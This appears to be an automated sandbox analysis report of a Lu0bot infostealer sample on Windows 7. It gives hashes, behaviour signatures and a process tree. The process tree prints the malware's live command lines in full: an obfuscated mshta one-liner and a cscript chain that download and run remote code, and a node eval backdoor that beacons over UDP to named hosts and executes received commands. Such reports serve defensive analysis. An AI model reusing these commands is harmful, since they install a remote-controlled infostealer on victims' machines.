Analysis

  • max time kernel
    149s
  • max time network
    194s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    20-07-2021 12:04

General

  • Target

    af8ae6c1f2859cc139cd176a6656a855.exe

  • Size

    2KB

  • MD5

    af8ae6c1f2859cc139cd176a6656a855

  • SHA1

    161e2d577b418eaa94bf1959a634956b75d7922b

  • SHA256

    22934e006b3f1b8225c51a93ce0acaa1874c4f1dc895fa1664bdf16b0065d2e7

  • SHA512

    a80672ea1f49ebaeaf5b850377ee346e7953bf6379a79db91b826ba2249a66424b0f1be189351dc86088ff9efd72142a46f6d4bff2c5dc7271a4db22c10bcd1e

Malware Config

Signatures

  • Lu0bot

    Lu0bot is a lightweight infostealer written in NodeJS.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • NTFS ADS 2 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 42 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\af8ae6c1f2859cc139cd176a6656a855.exe
    "C:\Users\Admin\AppData\Local\Temp\af8ae6c1f2859cc139cd176a6656a855.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1676
    • C:\Windows\SysWOW64\mshta.exe
      mshta "javascript:document.write();47;y=unescape('%317%31%7E%68t%74p%3A%2F%2Fl%751%2Ea%73i%61%2F%68r%69%2F%3F2%31a%36e%34b%7E1%388').split('~');172;try{x='WinHttp';134;x=new ActiveXObject(x+'.'+x+'Request.5.1');197;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);62;x.send();226;y='ipt.S';39;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);72;}catch(e){};20;;window.close();"
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:2024
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626782707592.txt & cscript /nologo /e:jscript get1626782707592.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2430189c6%26b%3D58f0ceac" node.cab & expand node.cab node.exe & del get1626782707592.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626782707592.txt & cscript /nologo /e:jscript get1626782707592.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27430189c6%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626782707592.txt
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1664
        • C:\Windows\SysWOW64\cscript.exe
          cscript /nologo /e:jscript get1626782707592.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2430189c6%26b%3D58f0ceac" node.cab
          4⤵
          • Blocklisted process makes network request
          PID:1608
        • C:\Windows\SysWOW64\expand.exe
          expand node.cab node.exe
          4⤵
          • Drops file in Windows directory
          PID:288
        • C:\Windows\SysWOW64\cscript.exe
          cscript /nologo /e:jscript get1626782707592.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27430189c6%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
          4⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:384
          • C:\ProgramData\DNTException\node.exe
            "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27430189c6%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • NTFS ADS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:320
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c dir C:\
              6⤵
                PID:1828
              • C:\Windows\SysWOW64\cacls.exe
                cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
                6⤵
                  PID:1560
                • C:\Windows\SysWOW64\icacls.exe
                  icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
                  6⤵
                  • Modifies file permissions
                  PID:1980
                • C:\Windows\SysWOW64\attrib.exe
                  attrib.exe +H C:\ProgramData\DNTException
                  6⤵
                  • Views/modifies file attributes
                  PID:1996
                • C:\Windows\SysWOW64\attrib.exe
                  attrib.exe +H C:\ProgramData\DNTException\node.exe
                  6⤵
                  • Views/modifies file attributes
                  PID:788
                • C:\Windows\SysWOW64\tasklist.exe
                  tasklist /fo csv /nh
                  6⤵
                  • Enumerates processes with tasklist
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1488
                • C:\Windows\SysWOW64\Wbem\wmic.exe
                  wmic process get processid,parentprocessid,name,executablepath /format:csv
                  6⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1908
                • C:\Windows\SysWOW64\ipconfig.exe
                  ipconfig.exe /all
                  6⤵
                  • Gathers network information
                  PID:1784
                • C:\Windows\SysWOW64\route.exe
                  route.exe print
                  6⤵
                    PID:1644
                  • C:\Windows\SysWOW64\netstat.exe
                    netstat.exe -ano
                    6⤵
                    • Gathers network information
                    • Suspicious use of AdjustPrivilegeToken
                    PID:472
                  • C:\Windows\SysWOW64\systeminfo.exe
                    systeminfo.exe /fo csv
                    6⤵
                    • Gathers system information
                    PID:1852

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • memory/320-77-0x0000000014300000-0x0000000014301000-memory.dmp

          Filesize

          4KB

        • memory/320-76-0x000000003D900000-0x000000003D901000-memory.dmp

          Filesize

          4KB

        • memory/320-74-0x000000001DD00000-0x000000001DD01000-memory.dmp

          Filesize

          4KB

        • memory/320-75-0x0000000036100000-0x0000000036101000-memory.dmp

          Filesize

          4KB

        • memory/320-78-0x000000000CF00000-0x000000000CF01000-memory.dmp

          Filesize

          4KB

        • memory/320-73-0x000000003E000000-0x000000003E001000-memory.dmp

          Filesize

          4KB

        • memory/1608-63-0x00000000767B1000-0x00000000767B3000-memory.dmp

          Filesize

          8KB